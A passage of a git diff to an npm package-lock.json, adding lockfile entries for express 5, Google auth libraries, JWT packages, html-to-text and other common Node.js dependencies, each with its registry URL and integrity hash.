+4571,30 @@ "node": ">=0.10.0" } }, + "node_modules/etag": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", + "integrity": "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/eventemitter3": { + "version": "5.0.4", + "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-5.0.4.tgz", + "integrity": "sha512-mlsTRyGaPBjPedk6Bvw+aqbsXDtoAyAzm5MO7JgU+yVRyMQ5O8bD4Kcci7BS85f93veegeCPkL8R4GLClnjLFw==", + "license": "MIT" + }, + "node_modules/events": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/events/-/events-3.3.0.tgz", + "integrity": "sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==", + "license": "MIT", + "engines": { + "node": ">=0.8.x" + } + }, "node_modules/expand-template": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/expand-template/-/expand-template-2.0.3.tgz", @@ -2432,12 +4614,71 @@ "node": ">=12.0.0" } }, + "node_modules/express": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/express/-/express-5.2.1.tgz", + "integrity": "sha512-hIS4idWWai69NezIdRt2xFVofaF4j+6INOpJlVOLDO8zXGpUVEVzIYk12UUi2JzjEzWL3IOAxcTubgz9Po0yXw==", + "license": "MIT", + "dependencies": { + "accepts": "^2.0.0", + "body-parser": "^2.2.1", + "content-disposition": "^1.0.0", + "content-type": "^1.0.5", + "cookie": "^0.7.1", + "cookie-signature": "^1.2.1", + "debug": "^4.4.0", + "depd": "^2.0.0", + "encodeurl": "^2.0.0", + "escape-html": "^1.0.3", + "etag": "^1.8.1", + "finalhandler": "^2.1.0", + "fresh": "^2.0.0", + "http-errors": "^2.0.0", + "merge-descriptors": "^2.0.0", + "mime-types": "^3.0.0", + "on-finished": "^2.4.1", + "once": "^1.4.0", + "parseurl": "^1.3.3", + "proxy-addr": "^2.0.7", + "qs": "^6.14.0", + "range-parser": "^1.2.1", + "router": "^2.2.0", + "send": "^1.1.0", + "serve-static": "^2.2.0", + "statuses": "^2.0.1", + "type-is": "^2.0.1", + "vary": "^1.1.2" + }, + "engines": { + "node": ">= 18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, "node_modules/extend": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz", "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==", "license": "MIT" }, + "node_modules/fast-content-type-parse": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/fast-content-type-parse/-/fast-content-type-parse-3.0.0.tgz", + "integrity": "sha512-ZvLdcY8P+N8mGQJahJV5G4U88CSvT1rP8ApL6uETe88MBXrBHAkZlSEySdUlyztF7ccb+Znos3TFqaepHxdhBg==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fastify" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fastify" + } + ], + "license": "MIT" + }, "node_modules/fast-deep-equal": { "version": "3.1.3", "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", @@ -2455,6 +4696,12 @@ "integrity": "sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==", "dev": true }, + "node_modules/fast-sha256": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/fast-sha256/-/fast-sha256-1.3.0.tgz", + "integrity": "sha512-n11RGP/lrWEFI/bWdygLxhI+pVeo1ZYIVwvvPkW7azl/rOy+F3HYRZ2K5zeE9mmkhQppyv9sQFx0JM9UabnpPQ==", + "license": "Unlicense" + }, "node_modules/fdir": { "version": "6.5.0", "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", @@ -2473,6 +4720,29 @@ } } }, + "node_modules/fetch-blob": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/fetch-blob/-/fetch-blob-3.2.0.tgz", + "integrity": "sha512-7yAQpD2UMJzLi1Dqv7qFYnPbaPx7ZfFK6PiIxQ4PfkGPyNyl2Ugx+a/umUonmKqjhM4DnfbMvdX6otXq83soQQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/jimmywarting" + }, + { + "type": "paypal", + "url": "https://paypal.me/jimmywarting" + } + ], + "license": "MIT", + "dependencies": { + "node-domexception": "^1.0.0", + "web-streams-polyfill": "^3.0.3" + }, + "engines": { + "node": "^12.20 || >= 14.13" + } + }, "node_modules/file-entry-cache": { "version": "8.0.0", "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-8.0.0.tgz", @@ -2491,6 +4761,27 @@ "integrity": "sha512-0Zt+s3L7Vf1biwWZ29aARiVYLx7iMGnEUl9x33fbB/j3jR81u/O2LbqK+Bm1CDSNDKVtJ/YjwY7TUd5SkeLQLw==", "license": "MIT" }, + "node_modules/finalhandler": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-2.1.1.tgz", + "integrity": "sha512-S8KoZgRZN+a5rNwqTxlZZePjT/4cnm0ROV70LedRHZ0p8u9fRID0hJUZQpkKLzro8LfmC8sx23bY6tVNxv8pQA==", + "license": "MIT", + "dependencies": { + "debug": "^4.4.0", + "encodeurl": "^2.0.0", + "escape-html": "^1.0.3", + "on-finished": "^2.4.1", + "parseurl": "^1.3.3", + "statuses": "^2.0.1" + }, + "engines": { + "node": ">= 18.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, "node_modules/find-up": { "version": "5.0.0", "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz", @@ -2526,6 +4817,93 @@ "integrity": "sha512-PjDse7RzhcPkIJwy5t7KPWQSZ9cAbzQXcafsetQoD7sOJRQlGikNbx7yZp2OotDnJyrDcbyRq3Ttb18iYOqkxA==", "dev": true }, + "node_modules/follow-redirects": { + "version": "1.15.11", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.11.tgz", + "integrity": "sha512-deG2P0JfjrTxl50XGCDyfI97ZGVCxIpfKYmfyrQ54n5FO/0gfIES8C/Psl6kWVDolizcaaxZJnTS0QSMxvnsBQ==", + "funding": [ + { + "type": "individual", + "url": "https://github.com/sponsors/RubenVerborgh" + } + ], + "license": "MIT", + "engines": { + "node": ">=4.0" + }, + "peerDependenciesMeta": { + "debug": { + "optional": true + } + } + }, + "node_modules/form-data": { + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.5.tgz", + "integrity": "sha512-8RipRLol37bNs2bhoV67fiTEvdTrbMUYcFTiy3+wuuOnUog2QBHCZWXDRijWQfAkhBj2Uf5UnVaiWwA5vdd82w==", + "license": "MIT", + "dependencies": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.8", + "es-set-tostringtag": "^2.1.0", + "hasown": "^2.0.2", + "mime-types": "^2.1.12" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/form-data/node_modules/mime-db": { + "version": "1.52.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/form-data/node_modules/mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "license": "MIT", + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/formdata-polyfill": { + "version": "4.0.10", + "resolved": "https://registry.npmjs.org/formdata-polyfill/-/formdata-polyfill-4.0.10.tgz", + "integrity": "sha512-buewHzMvYL29jdeQTVILecSaZKnt/RJWjoZCF5OW60Z67/GmSLBkOFM7qh1PI3zFNtJbaZL5eQu1vLfazOwj4g==", + "license": "MIT", + "dependencies": { + "fetch-blob": "^3.1.2" + }, + "engines": { + "node": ">=12.20.0" + } + }, + "node_modules/forwarded": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz", + "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/fresh": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/fresh/-/fresh-2.0.0.tgz", + "integrity": "sha512-Rx/WycZ60HOaqLKAi6cHRKKI7zxWbJ31MhntmtwMoaTeF7XFH9hhBp8vITaMidfljRQ6eYWCKkaTK+ykVJHP2A==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, "node_modules/fs-constants": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/fs-constants/-/fs-constants-1.0.0.tgz", @@ -2547,6 +4925,80 @@ "node": "^8.16.0 || ^10.6.0 || >=11.0.0" } }, + "node_modules/function-bind": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", + "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/gaxios": { + "version": "7.1.4", + "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-7.1.4.tgz", + "integrity": "sha512-bTIgTsM2bWn3XklZISBTQX7ZSddGW+IO3bMdGaemHZ3tbqExMENHLx6kKZ/KlejgrMtj8q7wBItt51yegqalrA==", + "license": "Apache-2.0", + "dependencies": { + "extend": "^3.0.2", + "https-proxy-agent": "^7.0.1", + "node-fetch": "^3.3.2" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/gcp-metadata": { + "version": "8.1.2", + "resolved": "https://registry.npmjs.org/gcp-metadata/-/gcp-metadata-8.1.2.tgz", + "integrity": "sha512-zV/5HKTfCeKWnxG0Dmrw51hEWFGfcF2xiXqcA3+J90WDuP0SvoiSO5ORvcBsifmx/FoIjgQN3oNOGaQ5PhLFkg==", + "license": "Apache-2.0", + "dependencies": { + "gaxios": "^7.0.0", + "google-logging-utils": "^1.0.0", + "json-bigint": "^1.0.0" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/get-intrinsic": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz", + "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.2", + "es-define-property": "^1.0.1", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.1.1", + "function-bind": "^1.1.2", + "get-proto": "^1.0.1", + "gopd": "^1.2.0", + "has-symbols": "^1.1.0", + "hasown": "^2.0.2", + "math-intrinsics": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz", + "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==", + "license": "MIT", + "dependencies": { + "dunder-proto": "^1.0.1", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, "node_modules/get-tsconfig": { "version": "4.13.6", "resolved": "https://registry.npmjs.org/get-tsconfig/-/get-tsconfig-4.13.6.tgz", @@ -2590,6 +5042,70 @@ "url": "https://github.com/sponsors/sindresorhus" } }, + "node_modules/google-auth-library": { + "version": "10.6.2", + "resolved": "https://registry.npmjs.org/google-auth-library/-/google-auth-library-10.6.2.tgz", + "integrity": "sha512-e27Z6EThmVNNvtYASwQxose/G57rkRuaRbQyxM2bvYLLX/GqWZ5chWq2EBoUchJbCc57eC9ArzO5wMsEmWftCw==", + "license": "Apache-2.0", + "dependencies": { + "base64-js": "^1.3.0", + "ecdsa-sig-formatter": "^1.0.11", + "gaxios": "^7.1.4", + "gcp-metadata": "8.1.2", + "google-logging-utils": "1.1.3", + "jws": "^4.0.0" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/google-logging-utils": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/google-logging-utils/-/google-logging-utils-1.1.3.tgz", + "integrity": "sha512-eAmLkjDjAFCVXg7A1unxHsLf961m6y17QFqXqAXGj/gVkKFrEICfStRfwUlGNfeCEjNRa32JEWOUTlYXPyyKvA==", + "license": "Apache-2.0", + "engines": { + "node": ">=14" + } + }, + "node_modules/googleapis-common": { + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/googleapis-common/-/googleapis-common-8.0.1.tgz", + "integrity": "sha512-eCzNACUXPb1PW5l0ULTzMHaL/ltPRADoPgjBlT8jWsTbxkCp6siv+qKJ/1ldaybCthGwsYFYallF7u9AkU4L+A==", + "license": "Apache-2.0", + "dependencies": { + "extend": "^3.0.2", + "gaxios": "^7.0.0-rc.4", + "google-auth-library": "^10.1.0", + "qs": "^6.7.0", + "url-template": "^2.0.8" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/gopd": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz", + "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/graphql": { + "version": "16.13.2", + "resolved": "https://registry.npmjs.org/graphql/-/graphql-16.13.2.tgz", + "integrity": "sha512-5bJ+nf/UCpAjHM8i06fl7eLyVC9iuNAjm9qzkiu2ZGhM0VscSvS6WDPfAwkdkBuoXGM9FJSbKl6wylMwP9Ktig==", + "license": "MIT", + "peer": true, + "engines": { + "node": "^12.22.0 || ^14.16.0 || ^16.0.0 || >=17.0.0" + } + }, "node_modules/has-flag": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", @@ -2600,6 +5116,168 @@ "node": ">=8" } }, + "node_modules/has-symbols": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz", + "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-tostringtag": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz", + "integrity": "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==", + "license": "MIT", + "dependencies": { + "has-symbols": "^1.0.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/hasown": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz", + "integrity": "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==", + "license": "MIT", + "dependencies": { + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/hast-util-to-html": { + "version": "9.0.5", + "resolved": "https://registry.npmjs.org/hast-util-to-html/-/hast-util-to-html-9.0.5.tgz", + "integrity": "sha512-OguPdidb+fbHQSU4Q4ZiLKnzWo8Wwsf5bZfbvu7//a9oTYoqD/fWpe96NuHkoS9h0ccGOTe0C4NGXdtS0iObOw==", + "license": "MIT", + "dependencies": { + "@types/hast": "^3.0.0", + "@types/unist": "^3.0.0", + "ccount": "^2.0.0", + "comma-separated-tokens": "^2.0.0", + "hast-util-whitespace": "^3.0.0", + "html-void-elements": "^3.0.0", + "mdast-util-to-hast": "^13.0.0", + "property-information": "^7.0.0", + "space-separated-tokens": "^2.0.0", + "stringify-entities": "^4.0.0", + "zwitch": "^2.0.4" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/hast-util-whitespace": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/hast-util-whitespace/-/hast-util-whitespace-3.0.0.tgz", + "integrity": "sha512-88JUN06ipLwsnv+dVn+OIYOvAuvBMy/Qoi6O7mQHxdPXpjy+Cd6xRkWwux7DKO+4sYILtLBRIKgsdpS2gQc7qw==", + "license": "MIT", + "dependencies": { + "@types/hast": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/he": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/he/-/he-1.2.0.tgz", + "integrity": "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==", + "license": "MIT", + "bin": { + "he": "bin/he" + } + }, + "node_modules/html-to-text": { + "version": "9.0.5", + "resolved": "https://registry.npmjs.org/html-to-text/-/html-to-text-9.0.5.tgz", + "integrity": "sha512-qY60FjREgVZL03vJU6IfMV4GDjGBIoOyvuFdpBDIX9yTlDw0TjxVBQp+P8NvpdIXNJvfWBTNul7fsAQJq2FNpg==", + "license": "MIT", + "dependencies": { + "@selderee/plugin-htmlparser2": "^0.11.0", + "deepmerge": "^4.3.1", + "dom-serializer": "^2.0.0", + "htmlparser2": "^8.0.2", + "selderee": "^0.11.0" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/html-void-elements": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/html-void-elements/-/html-void-elements-3.0.0.tgz", + "integrity": "sha512-bEqo66MRXsUGxWHV5IP0PUiAWwoEjba4VCzg0LjFJBpchPaTfyfCKTG6bc5F8ucKec3q5y6qOdGyYTSBEvhCrg==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/htmlparser2": { + "version": "8.0.2", + "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-8.0.2.tgz", + "integrity": "sha512-GYdjWKDkbRLkZ5geuHs5NY1puJ+PXwP7+fHPRz06Eirsb9ugf6d8kkXav6ADhcODhFFPMIXyxkxSuMf3D6NCFA==", + "funding": [ + "https://github.com/fb55/htmlparser2?sponsor=1", + { + "type": "github", + "url": "https://github.com/sponsors/fb55" + } + ], + "license": "MIT", + "dependencies": { + "domelementtype": "^2.3.0", + "domhandler": "^5.0.3", + "domutils": "^3.0.1", + "entities": "^4.4.0" + } + }, + "node_modules/http-errors": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.1.tgz", + "integrity": "sha512-4FbRdAX+bSdmo4AUFuS0WNiPz8NgFt+r8ThgNWmlrjQjt1Q7ZR9+zTlce2859x4KSXrwIsaeTqDoKQmtP8pLmQ==", + "license": "MIT", + "dependencies": { + "depd": "~2.0.0", + "inherits": "~2.0.4", + "setprototypeof": "~1.2.0", + "statuses": "~2.0.2", + "toidentifier": "~1.0.1" + }, + "engines": { + "node": ">= 0.8" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/https-proxy-agent": { + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-7.0.6.tgz", + "integrity": "sha512-vK9P5/iUfdl95AI+JVyUuIcVtd4ofvtrOr3HNtM2yxC9bnMbEdp3x01OhQNnjb8IJYi38VlTE3mBXwcfvywuSw==", + "license": "MIT", + "dependencies": { + "agent-base": "^7.1.2", + "debug": "4" + }, + "engines": { + "node": ">= 14" + } + }, "node_modules/husky": { "version": "9.1.7", "resolved": "https://registry.npmjs.org/husky/-/husky-9.1.7.tgz", @@ -2616,6 +5294,22 @@ "url": "https://github.com/sponsors/typicode" } }, + "node_modules/iconv-lite": { + "version": "0.7.2", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.7.2.tgz", + "integrity": "sha512-im9DjEDQ55s9fL4EYzOAv0yMqmMBSZp6G0VvFyTMPKWxiSBHUj9NW/qqLmXUwXrrM7AvqSlTCfvqRb0cM8yYqw==", + "license": "MIT", + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3.0.0" + }, + "engines": { + "node": ">=0.10.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, "node_modules/ieee754": { "version": "1.2.1", "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", @@ -2682,6 +5376,21 @@ "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==", "license": "ISC" }, + "node_modules/ipaddr.js": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", + "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==", + "license": "MIT", + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/is-electron": { + "version": "2.2.2", + "resolved": "https://registry.npmjs.org/is-electron/-/is-electron-2.2.2.tgz", + "integrity": "sha512-FO/Rhvz5tuw4MCWkpMzHFKWD2LsfHzIb7i6MdPYZ/KW7AlxawyLkqdy+jPZP1WubqEADE3O4FUENlJHDfQASRg==", + "license": "MIT" + }, "node_modules/is-extglob": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", @@ -2703,6 +5412,18 @@ "node": ">=0.10.0" } }, + "node_modules/is-network-error": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/is-network-error/-/is-network-error-1.3.1.tgz", + "integrity": "sha512-6QCxa49rQbmUWLfk0nuGqzql9U8uaV2H6279bRErPBHe/109hCzsLUBUHfbEtvLIHBd6hyXbgedBSHevm43Edw==", + "license": "MIT", + "engines": { + "node": ">=16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, "node_modules/is-plain-obj": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-4.1.0.tgz", @@ -2715,12 +5436,39 @@ "url": "https://github.com/sponsors/sindresorhus" } }, + "node_modules/is-promise": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/is-promise/-/is-promise-4.0.0.tgz", + "integrity": "sha512-hvpoI6korhJMnej285dSg6nu1+e6uxs7zG3BYAm5byqDsgJNWwxzM6z6iZiAgQR4TJ30JmBTOwqZUw3WlyH3AQ==", + "license": "MIT" + }, + "node_modules/is-stream": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz", + "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==", + "license": "MIT", + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, "node_modules/isexe": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", "dev": true }, + "node_modules/jose": { + "version": "4.15.9", + "resolved": "https://registry.npmjs.org/jose/-/jose-4.15.9.tgz", + "integrity": "sha512-1vUQX+IdDMVPj4k8kOxgUqlcK518yluMuGZwqlr44FS1ppZB/5GWh4rZG89erpOBOJjU/OBsnCVFfapsRz6nEA==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/panva" + } + }, "node_modules/js-yaml": { "version": "4.1.1", "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.1.tgz", @@ -2733,6 +5481,15 @@ "js-yaml": "bin/js-yaml.js" } }, + "node_modules/json-bigint": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-bigint/-/json-bigint-1.0.0.tgz", + "integrity": "sha512-SiPv/8VpZuWbvLSMtTDU8hEfrZWg/mH/nV/b4o0CYbSxu1UIQPLdwKOCIyLQX+VIPO5vrLX3i8qtqFyhdPSUSQ==", + "license": "MIT", + "dependencies": { + "bignumber.js": "^9.0.0" + } + }, "node_modules/json-buffer": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz", @@ -2751,6 +5508,80 @@ "integrity": "sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==", "dev": true }, + "node_modules/json-with-bigint": { + "version": "3.5.8", + "resolved": "https://registry.npmjs.org/json-with-bigint/-/json-with-bigint-3.5.8.tgz", + "integrity": "sha512-eq/4KP6K34kwa7TcFdtvnftvHCD9KvHOGGICWwMFc4dOOKF5t4iYqnfLK8otCRCRv06FXOzGGyqE8h8ElMvvdw==", + "license": "MIT" + }, + "node_modules/jsonwebtoken": { + "version": "9.0.3", + "resolved": "https://registry.npmjs.org/jsonwebtoken/-/jsonwebtoken-9.0.3.tgz", + "integrity": "sha512-MT/xP0CrubFRNLNKvxJ2BYfy53Zkm++5bX9dtuPbqAeQpTVe0MQTFhao8+Cp//EmJp244xt6Drw/GVEGCUj40g==", + "license": "MIT", + "dependencies": { + "jws": "^4.0.1", + "lodash.includes": "^4.3.0", + "lodash.isboolean": "^3.0.3", + "lodash.isinteger": "^4.0.4", + "lodash.isnumber": "^3.0.3", + "lodash.isplainobject": "^4.0.6", + "lodash.isstring": "^4.0.1", + "lodash.once": "^4.0.0", + "ms": "^2.1.1", + "semver": "^7.5.4" + }, + "engines": { + "node": ">=12", + "npm": ">=6" + } + }, + "node_modules/jwa": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/jwa/-/jwa-2.0.1.tgz", + "integrity": "sha512-hRF04fqJIP8Abbkq5NKGN0Bbr3JxlQ+qhZufXVr0DvujKy93ZCbXZMHDL4EOtodSbCWxOqR8MS1tXA5hwqCXDg==", + "license": "MIT", + "dependencies": { + "buffer-equal-constant-time": "^1.0.1", + "ecdsa-sig-formatter": "1.0.11", + "safe-buffer": "^5.0.1" + } + }, + "node_modules/jwks-rsa": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/jwks-rsa/-/jwks-rsa-3.2.2.tgz", + "integrity": "sha512-BqTyEDV+lS8F2trk3A+qJnxV5Q9EqKCBJOPti3W97r7qTympCZjb7h2X6f2kc+0K3rsSTY1/6YG2eaXKoj497w==", + "license": "MIT", + "dependencies": { + "@types/jsonwebtoken": "^9.0.4", + "debug": "^4.3.4", + "jose": "^4.15.4", + "limiter": "^1.1.5", + "lru-memoizer": "^2.2.0" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/jws": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/jws/-/jws-4.0.1.tgz", + "integrity": "sha512-EKI/M/yqPncGUUh44xz0PxSidXFr/+r0pA70+gIYhjv+et7yxM+s29Y+VGDkovRofQem0fs7Uvf4+YmAdyRduA==", + "license": "MIT", + "dependencies": { + "jwa": "^2.0.1", + "safe-buffer": "^5.0.1" + } + }, + "node_modules/jwt-decode": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/jwt-decode/-/jwt-decode-4.0.0.tgz", + "integrity": "sha512-+KJGIyHgkGuIq3IEBNftfhW/LfWhXUIY6OmyVWjliu5KH1y0fw7VQ8YndE2O4qZdMSd9SqbnC8GOcZEy0Om7sA==", + "license": "MIT", + "engines": { + "node": ">=18" + } + }, "node_modules/keyv": { "version": "4.5.4", "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.5.4.tgz", @@ -2760,6 +5591,15 @@ "json-buffer": "3.0.1" } }, + "node_modules/leac": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/leac/-/leac-0.6.0.tgz", + "integrity": "sha512-y+SqErxb8h7nE/fiEX07jsbuhrpO9lL8eca7/Y1nuWV2moNlXhyd59iDGcRf6moVyDMbmTNzL40SUyrFU/yDpg==", + "license": "MIT", + "funding": { + "url": 